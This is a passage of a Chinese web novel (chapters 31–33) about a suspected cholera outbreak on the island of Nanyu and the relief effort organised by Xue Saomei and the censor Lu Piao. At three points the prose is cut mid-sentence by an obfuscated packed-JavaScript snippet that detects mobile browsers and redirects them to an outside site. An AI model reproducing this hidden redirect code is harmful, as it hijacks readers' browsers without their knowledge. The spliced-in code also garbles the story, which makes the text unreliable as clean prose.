“当然也是有的。”他细细讲解,“比如‘霍乱’(注1)——我们医家称起病急骤、呕吐而利的病症,叫做‘霍乱’,就与服用砒霜后的表征十分相似。只可惜,我见到林掌柜时,他已经不在人世了,摸不着脉搏。不然,通过把脉,也许可以确诊。” “除了脉象,还有什么可以分辨这二者么?” “服用砒霜的病人咽喉和腹部可能会有痛感,但霍乱病人则常是无痛而泄——但也不一定,若是吐得多了,也会灼伤咽喉;若是泄泻量大,又隐忍不发,也会导致腹痛。扫眉,你今日为何问我这些?” 薛扫眉将郑娘子被婆母状告杀夫一案告知于他,略去与私盐相关的细节不提。 瞿准叹了口气,道:“我听你的意思,似乎不信郑娘子会做这样的事。” 薛扫眉点头:“是,我直觉如此,但无法保证它是对的。我预备找机会当面问问她,也从林家两个丫头那里侧面印证一番。若郑娘子是无辜的,我也不想她白白送命。” “那你记得问问郑娘子,林掌柜是哪一天开始发病的,发病前有什么异常,发病时有什么具体表现……”瞿准将该询问的事项交待清楚,深吸一口气,道,“你说他才从南屿回来不久,我想,我得去一趟那里。” “为什么?” “我又想了一遍林掌柜的症状,似乎与我师父笔记上的一种常见于海岛的……霍乱很像。如果林掌柜真的死于那种病,而非被人下毒或者寻常的肠胃犯邪……” 那整个南屿,此刻恐怕已经凶多吉少。 瞿准刻意没用“瘟疫”二字,他不愿薛扫眉徒增烦忧。她总是想保护身边的人,这太辛苦了。作为朋友,瞿准心疼扫眉;而作为医者,他有自己的使命,谁也无法替代。 “我想去一趟南屿,验证一下师父的说法。”他换了一种表述,不至于引起她的怀疑,顺利登上了薛家的商船。 午后的阳光晒在瞿准身上,为麻布衣裳镶出一道金边。 “瞿扁鹊,您运气好呀!这几日潮水涨得很凶,风也偏着,直到咱们出港那会儿,才勉强正过来。不然你都没法走嘞!”船老大知道他和东家薛大姑娘关系匪浅,言语间多有恭维。 瞿准勉强地弯弯唇角,笑意没到眼中。他素来和善,这已是能拼凑出的最严肃的表情。 “你将我送到码头,然后立刻回程,不要在南屿逗留。回去告诉你家大姑娘,我回来之前,不要再派船到南屿来。切记,切记。” 船老大似乎被他的肃穆震慑住了,把舵的手都差点松开。 海风吹动瞿准的头发,吹鼓船帆,吹过海鸥、层云,吹向远方的码头、城镇和人群。 在大多数人心中,这不过是平平无奇的一天。 *本卷完* 31. 第三十一章 【字条】 当天傍晚,瞿准的口信和陆缥的手书,前后脚传到了薛宅。 素未谋面的两个人,给薛扫眉的信息却有相同之处。毫无缘由地,他们都让她离南屿远一点。 除此之外,陆缥还在信中不无遗憾地表示:他最近公干颇多,在碧霄府的时长有限,上次见面时约好一起去银灯楼吃蝴蝶酥,恐怕得晚些才能兑现了。铁画银钩铺满纸张,能看出这封手书写得匆忙。 薛扫眉将下人遣散,独自坐在厅堂之中,闭眼冥想。 白天瞿准和自己谈话时,神情便有些不对。她当时只当是他医痴犯了,没有多想。现在看来,能在医圣笔记中记录、还被瞿准特别关注了的,应当是凶险的疾病。瞿准让她不要再派船去南屿,更加证实了这一点。 而陆缥,为什么要写来如此奇怪的一封信?上回见面时,她确实提过“蝴蝶酥”——但不是相约下回一起品尝,而是告诉他,向周宅送蝴蝶酥是她当时与周烈通过密道相见的暗号。所以,陆缥其实是在拐着弯告诉薛扫眉,她在密道中和他所说的、关于复仇的事情,被迫需要暂时搁置,待他忙完再说。而他去忙的事情,一定和告诫她切勿前往的南屿有关。 瞿准是医,陆缥是官。能让他们同时如此急迫行动的事情,只有…… 陆缥的信被炭盆中的火焰啮尽。薛扫眉的心,同星星点点的纸灰一同,渐渐沉了下去。 片刻之后,她从那个可怕的猜想中勉力挣脱,稳定心绪,命阿橘进来:“你立刻将济和堂总号的孙掌柜请来。”济和堂是薛家的生熟药铺,分号遍布江南六道,总号便在据此不远的轸宿街上。 阿橘为难道:“这……我不认得孙掌柜,他也不认得我。要不,等薛管事回来再说?” 薛兼竟然还没回来。不过让他将郑娘子的两个女儿送到慈幼院去,用得了半天时间么?薛扫眉心急如焚,一刻也等不得了,催促阿橘快走:“孙掌柜认得我的马车,你坐我的马车去,他肯定会跟你回来。一定要快!” 她极少如此直截了当地展露焦急,阿橘虽摸不着头脑,到底还是立刻出发了。 阿橘走后,薛扫眉也没闲着,命另一个贴身侍女鹦哥将济和堂最近三个月的账目送来过目。 如果她预料得没错——薛扫眉深吸一口气,捏紧手中的算盘——南屿应当是发生了瘟疫,而瞿准从林掌柜的死状和她的询问中发现了这种可能性,义无反顾地投身其中。 如果真是这样,万一瞿准有个好歹,她难辞其咎。 好在薛家经年巨富,有的是钱和资源。希望这些身外之物,能助她搭出一条营救瞿准的桥梁。 薛扫眉看着账目,拨动算盘,渐渐在算珠敲击的韵律中冷静下来。这是薛扫眉自幼在父亲膝下听惯了的声响,与暗室中画笔锋芒摩擦宣纸的声音,同为她的最爱。 阿橘很快带着人回来了。只是她带回的人,不仅有孙掌柜,还有一位生面孔。 “薛大姑娘!”张扁鹊主动向她见礼,“鄙人姓张,是本府医学正科兼惠济药局提领。冒昧登门,实为不该,但眼下情况紧急,需要贵府协助……” 孙掌柜替他将事情的来龙去脉说清。 原来那张扁鹊奉陆缥之命,正在为突发瘟疫的南屿,紧急调配医药资源。他盘点了本府惠济药局的各类药物库存,发现自入冬以来,感冒、伤风病患较多,药局因此重点囤积相关药物,而治疗夏季高发的肠胃病的药物却是储备缺缺,不足以解如今的燃眉之急。 思来想去,张扁鹊瞄上了江南最大的民办药铺——薛家的济和堂。 就在他拜访孙掌柜、说明来意之时,东家的“御史”阿橘碰巧驾到。兹事体大,拿不定主意的孙掌柜干脆顺便拉上张扁鹊,一同面见东家。 薛扫眉叹了口气。她的猜想,果然成真了。 隔着半张银箔面具,辨不清薛大姑娘的神情,让张扁鹊莫名紧张起来。商人逐利,济和堂和惠济药局虽一为民设,一为官设,但毕竟卖的都是药品,是有此消彼长的竞争关系的。若是薛大姑娘不肯答应,或者漫天要价,他预备去请今日那位大展神威的钦差大老爷,前来震慑。 张扁鹊正在猜度,薛姑娘这厢金口已开。 “我派人将孙掌柜请来,正是为了这件事。我刚刚看了账册,济和堂的生熟药品存量尚且充足。正科大人,劳烦您一会儿开张药单。孙掌柜,你按照单子,每样药物留出库存的一成以备日常消耗,剩余九成,全部交给正科大人;另外,从碧南道各府分号中抽调药物,也按这个比例,将大头送来……” 她站起身,沉吟片刻,补充道,“调取时,以较远的地方优先,近一些的,稍后再安排。如果济和堂在碧南道的所有库存消耗至三成以下,而南屿的瘟疫还未得到控制,你应立即让其他五道的分号向这里运输药材。” 张扁鹊心底暗暗叫了声好。 薛大姑娘如此安排,足见其深谋远虑:如果南屿疫情扩散,将首先威胁与它距离较近的碧霄府以及周边地区。在本地库存尚且充裕的情况下,优先从预计受影响时间较晚的偏远地区调取药材,实现时空交错,便不会影响任意一处的即时供给。 只是,他还有个小小的问题。 张扁鹊小心翼翼地开口:“大姑娘,这药材的价格……” 薛扫眉反问他:“此次救援南屿,官府可会向患病的百姓收取诊金与药金?” “自然不会。” 薛扫眉颔首:“那便好。我家开设济和堂,本也不是为了盈利,否则孙掌柜每每仗义慷慨,导致账上难看得紧,早该被扫地出门了。” 孙掌柜憨然一笑,心头有些酸楚。他是薛家的老人,类似的话,当年薛昭也曾说过。可叹如今,物是人非。 好在站在他面前的薛大姑娘,虽看似柔弱,却依然传承着同样的、甚至更加出色的风骨与才干。 “人命贵比千金。”薛扫眉正色道,“这些药,只要能免费发到乡亲们手中,便算是我薛家捐的。” 张扁鹊大喜过望,连呼数声“痛快”,忍不住赞叹:“南屿有福啊,有陆钦差这样的英明好官,还有薛大姑娘深明大义、慷慨解囊!我这就回去禀报上官!” “敢问大人,您说的陆钦差,可是监察御史陆缥大人么?” “正是。陆大人今日在集议上亮明了身份,原来他是官家特派到我们这里办事的,现在已暂代入京述职的朱藩司,处理疫情相关的一应事务。等瘟疫平息,我一定向陆大人请命,给济和堂——不,给薛家,搏一个封赏!” 那并不是薛扫眉在意的部分。她淡然地笑笑,说出自己的请求:“钦差大人现在应该很忙,我便不去添乱了。正科大人若见到他,还请帮忙带句话。” “请讲。” “我薛家承乡里惠顾多年,才有今日;愿倾全家之力,协助大人平息此次瘟疫。” 她声音不大,却字字说得沉着。 炭气熏熏,似有香火气味;烛光满堂,竟与日月争辉。张扁鹊站在厅堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787334|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下首,肃然仰望,错将素衣少女看作神仙人物。 *** 薛扫眉的应承,由张扁鹊转述,在深夜抵达陆缥面前。对于已奋战整日的他来说,算是一场及时雨。 他确实需要她的帮助。 南屿虽小,也有万余人口,需要输送的物资和用来运输的航船,不在少数。别的不说,就论最为紧迫的运输一项——官船各有公干,可供临时腾用的数量不多,需要民间商船来做补充甚至担当主力。 而薛家,本就是因为南洋贸易而起家;纵使后来实行海禁,那支已经组建起来的偌大船队,依然在沿江、沿海的港口之间穿梭,将各色货物运往获利丰厚之所。 王俭已经连夜回到了南屿,带着先调拨出来的一船药物和三名医士。在新的物资运抵之前,那里,已成孤岛。 陆缥声音已哑,挥手示意张扁鹊退下。很快地,他从胥吏那里要到一个数字,据此写了张字条,命人给薛扫眉送去。不到一个时辰,回信便传到了他的手上。 她只在他“需中等载重商船十艘,次日巳时备足为盼”的字迹之后,简单附上了一个“好”字。 传送信件的胥吏仍在啧啧称奇:“卑职到达薛宅的时候,那里灯火通明,薛大姑娘正在和她家船队的人商议调船的事情,竟好像未卜先知一般。她能将薛家生意做这么大,属实有过人之处!” 他原本只是在抒发个人观感,没料到对面陆御史初显疲惫的面庞上,忽然透出一丝少见的温柔。那神色一闪而过,很快了无踪迹,令胥吏怀疑是自己的错觉。 胥吏搓揉眼睛的时候,陆缥已背过身去,继续审视墙上挂着的碧南道舆图。 连他自己都没注意到,那张写有两个人字迹的纸条,被他攥在手心,已摩挲得快要褪色。 *** 天幕的边缘泛起些微鱼肚白色,新的一天到来了。 府衙内的议事厅里,已不像前一日时人影幢幢。还坚守在此的臣工,纷纷支持不住,伏倒在案前。 遵陆缥命提前睡好一觉的簪缨,蹑手蹑脚地走进议事厅中。起起伏伏的鼾声之中,他的主家郎君宁静地和衣倚在案边,以手支额,像一尊精细的玉雕。案头烛焰不远不近地炙烤着他的面庞,光影跳跃映照,更显丰神俊逸。 看来侯爷也睡着了。簪缨默默吹熄那支蜡烛,悄悄退下。 烛焰熄灭后残留的白烟,飘入陆缥梦境之中。他仿佛又回到了三年前。 锦绣堆成的皇宫内苑灯火通明。在烛光映照下,高高的冠冕在帝国主人已不再年轻的面庞上,投下深刻阴影,掩去所有真实的表情,只留下一片空洞混沌。 陆缥看不清他的脸,但却熟悉他的声音。那是他的皇帝姨夫——代替父亲陪他长大的人,顺理成章地拥有陆缥几乎所有的仰慕。 “缈之,你在西北八年,从垂髫小儿长成了威震一方的少年将军,朕心甚慰。原本朕属意把和嘉许给你,再封你做拱卫我大燕边疆的塞王,可惜……”弘文帝语气中确有惋惜,但更多的是冰冷,“等你送和嘉出塞之后,就回到未央京,回到朕身边来罢。我仍会视你为最亲近的子侄,保你一世富贵无虞。” 然后呢?陆缥在心里呐喊,却发不出任何声音。 被动的静默之中,弘文帝下了结论。字字句句,掷地有声。 “至于神牧军——朕是天子,事关社稷安稳,不可有一丝一毫的冒险——你不可能再留在那里了。别怨朕,要怪,只能怪你的母亲。” 32. 第三十二章 【挑衅】 “陛下……” 陆缥原本是怀着一腔愤懑回京找弘文帝说理去的。他在前线抛洒热血,戎马八载,虽未斩杀白狄王,好歹已将白狄人赶回了老家。只差一步,他便可率军直取白狄王都,可弘文帝忽然连下数道谕旨,急召陆缥回京,只为让他亲自送表妹和嘉公主前往白狄,嫁给年长她二十余岁的白狄王。 将军卸甲,美人垂泪,竟然发生在将胜之时。他有足够的理由感到愤怒。 但在弘文帝披破这样做的缘由之后,陆缥忽然什么话都说不出来了。 因为这个缘由,实在太过充分。换做是他自己,在同样的位置,未必会给出比弘文帝更加仁慈的安排。 所有激烈情绪杂糅后,只剩一片茫然。陆缥伏低身体,额头触及冰冷的金砖。 “臣遵旨。” 他看不到高高在上的帝王露出怎样莫测的神情,只能听见自己的心跳。 手肘从案几上滑落,陆缥悚然惊醒,这才发觉自己竟恍惚梦见了三年前改写命运的那一夜。 在那之后,他最后一次回到西北,送走表妹,挥别同袍,离开大漠、草原和狼烟,转身扎进宦海之中。 在血滴子的三载时光过得极慢,秦楼楚馆的花团锦簇、黑夜深牢的血雨腥风、朝堂君侧的波诡云谲……交织成一张暗色且密不透风的网。陆缥在其间小心游走,双手染血,心头却空空——那些少年壮志和桀骜心性,已被弘文帝的一句论断判了死刑。 都道他是天潢贵胄、天子亲信,无人知这泼天富贵,其实已是累卵薄冰、明日黄花。 方才在梦中所体会到的愤怒、惊悚、恐惧、无助,乃至于最后的茫然,都是陆缥暌违许久的情绪。他本以为自己已经将它们全然忘却,却抵挡不住它们如梦魇一般,在这江南冬夜笨拙地复苏,溯上心头。 往事湮灭,陆缥睡意全消。冷意如周遭空气,不露痕迹地侵入他的眼眸。 点亮灯烛,挺直身体,他又变回那个铜墙铁壁一般的陆御史。 *** 晨光熹微,陆御史从府衙中御马而出。 按照习惯,往日这个时间,他应当正在院中操*练环首刀与长枪。这两种兵器,是他在神牧军中用熟了的,即使告别了戎马生涯,也始终不曾落下练习。 可今日陆缥想做点别的。来到碧霄府已二月有余,他还没在这个时间段欣赏过这座城市。可以预见的是,未来的一段时间里,也不可能有这样的机会了。 长街无行人。一个念头忽然涌现出来,陆缥长吁口气,松开缰绳,放任骏马小步慢跑,缓缓往码头方向驰去。 他身后,一名早起的小贩挑着扁担,稳稳当当地从巷子里转出来。那扁担一头是热腾腾的早点,另一头是小贩一两岁的孩儿,眼尖地捕捉到陆缥远去的背影,流着口水拍手:“马,大马……” 小贩嘿嘿一笑,颠颠扁担,小娃娃惊笑:“阿爹,莫摇,莫摇!肚子,痛痛!”他小脸发白,淡淡的眉头皱起来,像一个面团上掐出两道弧线。 小贩急忙拢住扁担,低声宽慰:“阿爹也有点不舒服,今日我们早点卖完回去,你再忍忍。”说罢,他清清嗓子,吆喝起来:“碗粿嘞,扁肉嘞,起早吃好嘞……” 拖拽得悠长的尾音里,人们揉着惺忪睡眼,门户里升起炊烟。整座城市,正在缓缓醒来。 *** 有别于街头巷尾的大梦初醒,同一时刻,碧霄港的码头已是人头攒动。 此处是碧水、霄江两条大河汇入蓬莱海而形成的天然良港,每日有无数商舰穿梭往返。薛扫眉的父亲薛昭,当年正是从这里出海,开辟了南洋航路,挣下第一份家业。直至今日,船队仍是薛家最主要的财富来源之一,绣着雪花的薛家旗帜在碧霄港随处可见。 看见人潮,陆缥翻身下马。 船工、挑夫们来去匆匆,偶尔有人向他投来好奇的一瞥。平头百姓平时无缘见到官员,那些注目于他的,也不过是只觉得这身着绯红袍子的高大郎君格外好看,而并不懂得它象征着怎样的权势。但是,当他们经过前方那驾巨大的马车附近时,却都主动低头行礼。 那是薛扫眉的马车。 她竟也早到了,甚至比他还早。 陆缥缓步上前。他耳力惊人,隔着十数步和厚厚帷帘,已能听见车厢中清脆的算珠碰撞声。 待他走得更近了一些,便有人从马车的另一侧辗转迎上来,拱手作揖:“草民见过陆大人。” 陆缥坦然受了他的礼,微哂:“薛管事好啊。可是你们家大姑娘亲自在此坐镇?” 薛兼垂下眼睫,掩去目中锋芒:“正是。” 陆缥点点头,迈步朝前,却被薛兼用自己的身体挡住去向。他挑起眉,向薛兼投去一个质问的眼神。 薛兼面无表情:“陆大人见谅。您是官身,理应由大姑娘来拜见您才是。再者……此处人多眼杂,若是让人看见外男登上马车,恐怕有损大姑娘的清誉。”他已经知道南屿疫情之事,但薛扫眉因此彻夜操持,甚至一大早就亲自到码头指挥——无论是为瞿准还是为陆缥,都让他心生不悦。愤怒是勇气的来源,他在面对陆缥之时,终于找回了胆色。 但薛兼的拳头打进了棉花里。陆缥并不介意他冷硬的回复,反倒莞尔道:“薛管事实在是难得的忠仆。” 最后两个字轻轻落下,教薛兼暗中捏紧了拳头。 车窗帷帘忽然被人掀开一角,丫鬟阿橘探出毛茸茸的脑袋,瞥见薛兼对面长身玉立的绯袍郎君,顿时仿佛被夹住尾巴,“啊呀”一声赶忙又放下帷帘。 迎着薛扫眉探询的目光,阿橘小声道:“大姑娘,外面是那位漂亮的陆大人。” 薛扫眉有些意外。陆缥昨夜的字条写的是巳时相见,眼下还有近一个时辰才到巳时,他却已到了。 她放下算盘,戴上银箔面具,向阿橘伸出手:“扶我出去罢。” 车厢内略有动静,外头乖觉的仆妇便支好了下车用的木梯。陆缥从和薛兼的对峙中拨冗望过来,只见薛扫眉裹着厚厚的白狐裘,云雾般款款降临到他面前,嘴角微翘:“陆大人早。” “薛姑娘才是真的早。”陆缥也弯弯嘴角。 薛扫眉帮他想了一个提前抵达的理由:“您这么早过来,是想看看物资装船的情况罢?舰船就在那边,我带您过去。” 陆缥颔首,正欲出言应和,却被薛兼冷声打断:“大姑娘身体孱弱,又彻夜未眠,带看商船之事,不如由草民代劳罢。” 薛扫眉冷笑道:“我的事,何时轮到你做主了?你是主子,还是我是主子?”说罢,她一扬手,从阿橘的搀扶中挣开,兀自往码头方向走去。 陆缥将视线移回薛兼面上,更迫近一步,用只有他二人能听见的声音道:“薛管事尽可放心,本侯不会对眉儿做甚么的——就算是要做,也不会选在众目睽睽之下。”他有意挑衅,也果不其然地在薛兼脸上捕捉到了他再熟悉不过的杀气。 抬手拍拍薛兼的肩膀,陆缥拉开与他的距离,微微一笑:“本侯不在的时候,还劳烦薛管事多照顾……”他顿了顿,没再用那个亲昵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788359|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称呼,改口道,“多照顾薛大姑娘。”饶是如此,这话语间也叫人觉得薛扫眉和他才是一头,薛兼不过是个外人。 “是。”薛兼低声应承,不忘在陆缥审视的目光中竭力保持镇定,直到那股威压之感随着他启动的脚步声一同退去,这才站直身体。 阿橘顺着薛兼目之所向望过去,只见一白一红的两道身影徐徐飘远,可彼此间的距离,却渐渐拉近。 身旁的薛兼沉默得可怕,阿橘不敢直视,缩着脖子躲到了一旁。 *** 海风迎面而来,潮湿冰冷,似能入骨。薛扫眉待陆缥追赶上来,又与他并肩走了一阵,终于在能望见海岸线的一处隐蔽角落停下了脚步。 陆缥绕过她,在上风向站定,才转身面向薛扫眉。他本就比她高出许多,这么一站,倒是用肉**身作屏障,为她挡去了许多冷意。 “码头风大,侯爷穿得太单薄了。” 陆缥凝视着她,声线不由自主地放低了一些:“我无碍。” 其实他原本只想在街上转转,待巳时再赴约;不知是什么力量,让他临时改变了想法,径直提前过来,这才没穿够衣裳。也正是同样的一种力量,让他胸口和掌心都滚烫熨帖,感受不到寒冷。 这种陌生的感觉,在听到她消息、看到她字迹时,便会暗涌;而当她站在他面前时,则显得尤为浓烈。 只可惜他们每次见面,都有好多更重要的事情等着处理,轮不到陆缥仔细体察自己的心意。 今天也是一样。 陆缥暗自叹了口气,将昨日收到的一则消息,与她共享:“薛兼昨天下午去府狱,探视了郑娘子。” “他怎么……”薛扫眉有点意外。 “他是用钱财买通牢头,带着郑娘子的小女儿一起进去的,在里头待了约莫一炷香的时间。他们谈话时声音压得很低,我的人站得远,没听清究竟说了什么,只看见郑娘子流着泪向薛兼磕头。” 薛扫眉皱着眉听完,心中已有了猜想。 薛兼一定是用女儿作为砝码,逼郑娘子认下毒杀亲夫的罪责,好让薛家与这件事彻底撇清关系。 她明明说过,此事由自己处理,但薛兼还是在背地里做了手脚,以他认为对的方式,追求他自己想要的结果,枉顾她的意见。 薛扫眉暗恨丛生,面上浮现出厌弃之色。 陆缥知道她此时的神情是在针对谁,补充道:“走过来之前,我特意出言刺激了他,验出此人对我敌意很深,但仍有忌惮。这对我们来说,有好处。必要的时候,你可以借口找我,去做想做的事。” 他说的最后一句,看似莫名其妙,但薛扫眉听懂了。陆缥这段日子应该有得忙了,无暇空出手来处理她的事情;他对于薛兼的试探,实则是在为她验证避开薛兼耳目、便宜行事的可行方式。 危机四伏的时刻,陆缥对自己的事情仍然上心,足以令她感佩。 眼下还有一事,只有他才能帮忙。 薛扫眉恳切地望着陆缥,从荷包中取出一个小木盒:“这次的瘟疫来势汹汹,侯爷有千百般事情要忙,我本不该拿私事叨扰。但我有一个非常重要的朋友,姓瞿,名准,字平仲,是医圣的关门弟子,现在也在南屿。如果您的人见到他,请替我加以关照,多谢了……我希望他能活着回来。” 她微微仰头,与陆缥视线相接,郑重行下一礼,“侯爷恪守盟誓,助我良多,扫眉都记在心里。我会竭尽一切襄助您。薛家在江南六道所有的资源,都可为您所用。也请您,善自珍摄。” 33. 第三十三章 【往事】 君子一诺千金,薛大姑娘这一诺,何止价值万金? 作为官身,他应当满意。陆缥弯唇展颜,心下却有些古怪。 事关瞿准,薛扫眉洋洋洒洒说了一篇话;对于他,她只给了轻飘飘的四个字,“善自珍摄”——这话说得郑重,却过于冠冕堂皇。可明明他陆缥,也即将和瞿准一样以身犯险。 像在疾冲之中被一根细如毫毛的刺浅浅扎中,隐约的不适感稍纵即逝,连陆缥本人都难以捕捉。他自然而然微微皱起的眉头,在薛扫眉清澈眼波的专注映照之下,也逐渐舒展。 一切波澜,归于无形。 “你也珍重。”他望着她的眼睛,低声道。 二人交谈之间,天已完全亮了,海风也随之消停了些许,但仍有余威裹挟着浪潮拍上礁石,涛声阵阵。 白日晴好,海鸥飞掠,二人并肩望向不远处深不可见的汪洋。这里没有日晷,没有铜壶,没有报时的更夫,他们陷入沉默,谁也没有动。时间似乎暂时凝结,只有浪花恣意挥洒着节拍。 如此不被丈量、不受打扰的自由时刻,对他和她来说都殊为珍贵。 可惜此刻不能天长地久——他们眼下都有比享受自由更重要的事情。 陆缥深吸口气,率先打破宁静:“时候不早了,带我去看看船罢。” “请移尊步,跟我这边来。”薛扫眉也自怔忪中复苏,很快启动脚步,引他跟上,“领航舰船就左前方,有二千料,最多可搭载三百人或者同等物资。我按照张正科的单子,连夜从本府济和堂仓库中将可用的药材全部调取出来,另从薛记拣香铺的库存中,选出一些可入药的原料,一并装船。” 薛记拣香铺开设在最为繁华的张宿街中段,其所销售的乳香、没药等香料,质量不输贡品,各色复合调制的熏香,精妙更甚于未央京中的香店,是碧霄府近几年来大热的店铺。陆缥曾在路过时被人潮和香味吸引,因此入店一观,颇有印象。 “香药用于品评玩赏,即使与生熟药物使用同一品种的原料,其品质和价格也该贵上许多。大姑娘肯捐出香药,足见你的诚意。”陆缥由衷道。 薛扫眉微哂:“我亦有私心。若碧霄府尸横遍地,谁还有闲心闲钱,来买我家的熏香?” 她轻描淡写,并未提及昨夜和拣香铺的朱掌柜艰难谈了半宿,方将此事定下的过程。 拣香铺虽也冠着“薛记”名号,实则是薛家出钱、朱掌柜出香方,联合经营的店铺。所有获利,均需分二成给朱掌柜。若将原料捐出,将影响到销量及朱掌柜的分利,后者当然不肯。薛扫眉晓之以理,动之以情,又给朱掌柜额外加了一成分利,这才勉强劝服她。 说话间,两人已临近船埠。不时路过的船工见到戴着半截面具的薛扫眉,无论背上肩头有无货物,均自然地低眉弯腰,不胜恭敬。 “他们看到你出现在这里,似乎不怎么意外?”陆缥免不了有些好奇。 “我常来。阿爹当年靠船运发家,船队是我薛家的立足之本。”薛扫眉领他走近那艘高大神气的领航舰船,看着上下穿梭的船工,神色逐渐凝重,“侯爷,我答应捐药,可这十艘商船和上头的人,是借的,不是捐的。薛家船队以精干闻名,有资格上船、出海的,个个都是身强力壮、经验丰富之人,也是他们家中支柱……” 陆缥看出她的顾虑,肃然道:“你放心。南屿的王县令已经回去,我命他连夜布置,将病患集中隔离。你家船队仅需将承运的物资卸载在南屿码头,即刻回航,不会与病区接触。” “如此甚好。我替侯爷选了最听话的一帮人,您需将他们全须全尾地还给我。” 薛扫眉领着陆缥走过各艘商船,分别介绍它们的载重、用途,如数家珍。陆缥索要的是十艘中等载重的普通商船,可她交付的船队中,有三艘舰船远远超过此种规格,多出的空间,足够为捉襟见肘的官船解急。 走到船队末尾,薛扫眉回身望向码头中心位置。那里矗立着一座灯塔,青天白日之下,灯光不曾点亮,只有一只张着翅膀的巨大黑鸟,明目张胆地落于其上。 陆缥随她视线,定睛看去。那黑鸟不鸣不啄,通身无毛,原来是一尊木雕。海风席卷之中,黑鸟喙部略略偏转,与底盘上红色标记一同指向东南方。 “那是用来测量风向的器具,我们叫它‘相风乌’。”薛扫眉解释道,话语里沾带笑意,“太好了!南屿在我们的东南方向,今日刮西北风,正合适开航。那几艘小一些的船,已经整装完毕,可先出发了。” 她走了一路,也喝了一路海风,本就寒意丛生,此刻心念激动,猝然呛咳起来。 陆缥抢前一步,下意识地想安抚薛扫眉颤抖起伏的背部,却在下一瞬,被理智按住了手。薛兼有句话说得对,这里人多眼杂,不当使薛大姑娘的清誉受到玷污。 但凑近的这一小步,足以让陆缥看清薛扫眉目下的青紫颜色。她应当同他一样,也熬了一宿。 薛扫眉咳喘稍缓,自狼狈中站直身体。陆缥的脸,在她稍显模糊的视野中略有放大,接着稳定地显示。原来是她不自觉之中,伸手抓住了他的衣袖,使得琼枝下坠,玉树低头。 他深邃的眉目,在不甚平整的时候,更显冶丽。薛扫眉以为那是因自己失礼所致的不耐烦,赶忙松手,道了一声抱歉,随即别开目光。 她不再直视陆缥,自然也没看见,他因这声没来由的道歉和她松开的手,眉头锁得更深。 末了,他不容置疑地说:“你先回去。” *** 陆御史一贯阴晴不定,此次忽然发作,也算稳定发挥。薛大姑娘不以为忤,回到车上,目送薛家船队离开码头后,便由薛兼护送回程。 她本就一夜未眠,此刻松懈下来,不由得生出倦意。眼皮打架之时,马车忽然骤停。 阿橘未加提防,差点一脑袋捅到窗棂上,气得隔着门帘便嚷:“怎么回事?” 没待她有下一步动作,薛兼已在外头肃然道:“别出来。” 可惜车厢里除了阿橘,还坐着他素来管教不动的薛大姑娘。未几,厚重的门帘被一双素手推开缝隙,薛扫眉步出车厢,在马车的前室站定。 居高临下,她立刻看见前面堆叠的人群中心,赫然仰卧着一个抽搐的人。秽物从他的口中不受控制地流出,那人两眼翻白,面色白得发青,甚至隐隐透出蓝灰色。他脱力得连呻吟都发不出,下身周围的地面上也是狼藉一片,散发出诡异的腥臭味。也许是此人的形状太过诡异,周围的人无一敢上前,但驻足围观的人多了,便挡住了薛家马车的去路。 薛扫眉心头一紧。 林掌柜去世前,也是这样的面色。 薛兼刚交待完手下人去前头开路,回头便看见那道素白的纤影。她出来得急,未来得及裹上狐裘,也没戴银箔面具,素面低眉站在那里,好像一尊白瓷观音。无上慈悲,但一碰就碎。 现实与记忆中的画面瞬时重叠。薛兼一时怔忪,喝止的话梗在喉头。 他第一次见到薛扫眉,也是如此仰视。 那是弘文二十二年春三月里的一天,他奉主人之名在薛宅埋伏盯梢。午后,薛少爷惯用的马车出了后门,他便顶着斗笠,骑上毛驴,化装成农夫模样,跟了上去。 那马车出了南城门,径直向南,往城郊桑罗山的方向驶去。转入山路后,行人几乎绝迹,马车又行得极慢,他虽保持着距离,但如此持续地跟在后头,一旦教人发现,恐怕会显得突兀——倒不如先越过去,抄小路到山顶附近,也可洞察马车的去向。打定主意,他往毛驴臀上一击,那长耳畜生低叫一声,小步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825462|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑了起来,追上了马车。 他自幼习武,耳力异于常人,就在与马车并肩之时,清晰地听到车厢里头似乎有人在互相拉扯,紧接着传出一个年轻女子的嗔怪声:“大姑娘,快别淘气啦!好好的一个大小姐,怎可以……” 原来马车里的并非薛少爷,而是他的妹妹薛大姑娘;那个出言规劝的,想来是她的侍女。 正这么揣测着,他已经超了过去,很快将那马车撇在了身后。又往前行了半里地,有一处仅可容一人通过的野径入口,他将毛驴栓在道旁树上,预备步行上山。 